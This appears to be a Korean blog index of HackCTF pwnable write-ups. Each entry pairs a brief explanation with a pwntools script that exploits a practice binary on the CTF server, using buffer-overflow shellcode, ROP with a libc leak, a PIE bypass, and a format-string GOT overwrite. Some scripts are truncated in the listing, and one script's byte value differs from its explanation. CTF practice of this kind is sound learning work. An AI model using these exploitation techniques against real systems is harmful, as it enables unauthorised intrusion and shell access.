HackCTF/pwnable (10) 썸네일형 리스트형 HackCTF - Yes or no gdb로 확인해보면 값을 넣고 gets 를 이용해 rop 를 진행하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3009) e = ELF('./yes_or_no', checksec=False) libc = ELF('./libc-2.27.so', checksec=False) r.sendline('9830400') r.recvuntil('me\n') payload = 'A'*26 payload += p64(0x0400883) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) r.sendline(payload) leak = u64(r.recv(6)+ .. HackCTF - BOF_PIE welcome 주소를 출력하기 때문에 pie_base를 구할 수 있고 pie_base + j0n9hyun을 해서 주소를 구한 후 더미 + (pie_base + j0n9hyun) 해서 전달하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) e = ELF('bof_pie') r.recvuntil('is ') pie_base = int(r.recv(10), 16)-e.sym['welcome'] payload = 'A'*22 payload += p32(pie_base+e.sym['j0n9hyun']) r.sendline(payload) r.interactive() HackCTF - Offset 이번에는 PIE가 걸려있다 gets 함수가 쓰이긴하는데 중요하지 않다 함수 이름부터 수상하다 strcmp 로 1바이트 오버플로우가 발생한다 gdb 로 strcmp 까지 확인해보면 빨간칸에 있는게 30개이고 나머지 한 바이트를 \xd6으로 바꾸면 0x56555600이 0x565556d6으로 바껴 플래그가 출력 될 것이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3007) e = ELF('offset') payload = 'a'*30 payload += '\xd8' r.sendline(payload) r.interactive() HackCTF - Simple_Overflow_ver_2 뭔가 많아 보이지 달라진 건 없다 이전과 마찬가지로 스택 주소를 출력해주니 쉘코드+더미+스택주소를 넣으면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) e = ELF('Simple_overflow_ver_2') context.arch = 'i386' shellcode = asm(shellcraft.i386.linux.sh()) r.sendlineafter('Data :', 'AAAA') r.recv(1) stack = int(r.recv(10), 16) r.sendlineafter('(y/n): ', 'y') payload = shellcode payload += 'A'*(140-len(shellcode)) payload += p32(stack) .. HackCTF - x64 Simple_size_BOF 7번줄에서 버퍼 주소를 출력해주니 쉘코드+더미+버퍼 주소를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) e = ELF('./Simple_size_bof') context.arch = 'amd64' shellcode = asm(shellcraft.amd64.linux.sh()) r.recvuntil('buf: ') stack = int(r.recv(14), 16) payload = shellcode payload += 'A'*(27960-len(shellcode)) payload += p64(stack) r.sendline(payload) r.interactive() HackCTF - x64 Buffer Overflow 간단하게 ret 위치에 callMeMaybe 를 쓰면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) e = ELF('./64bof_basic') payload = 'A'*280 payload += p64(e.sym['callMeMaybe']) r.sendline(payload) r.interactive() HackCTF - 내 버퍼가 흘러넘친다!!! 아무런 보호기법이 안걸려 있다 main에 name 이 없는데 사용하는 걸 보니 bss 주소에 있나 보다 name에 쉘코드를 저장하고 gets에서 name으로 이동하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) e = ELF('./prob1') context.arch = 'i386' name = 0x804A060 shellcode = asm(shellcraft.i386.sh()) r.sendline(shellcode) payload = 'A'*24 payload += p32(name) r.sendline(payload) r.interactive() HackCTF - Basic_FSB fsb를 이용해 printf got를 덮으면 된다 이렇게 간단하게 오프셋을 구해주고 pwntools 를 이용해 풀었다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3002) e = ELF('./basic_fsb', checksec=False) offset = 2 payload = fmtstr_payload(offset, {e.got['printf']:e.sym['flag']}) r.sendline(payload) r.interactive() 이전 1 2 다음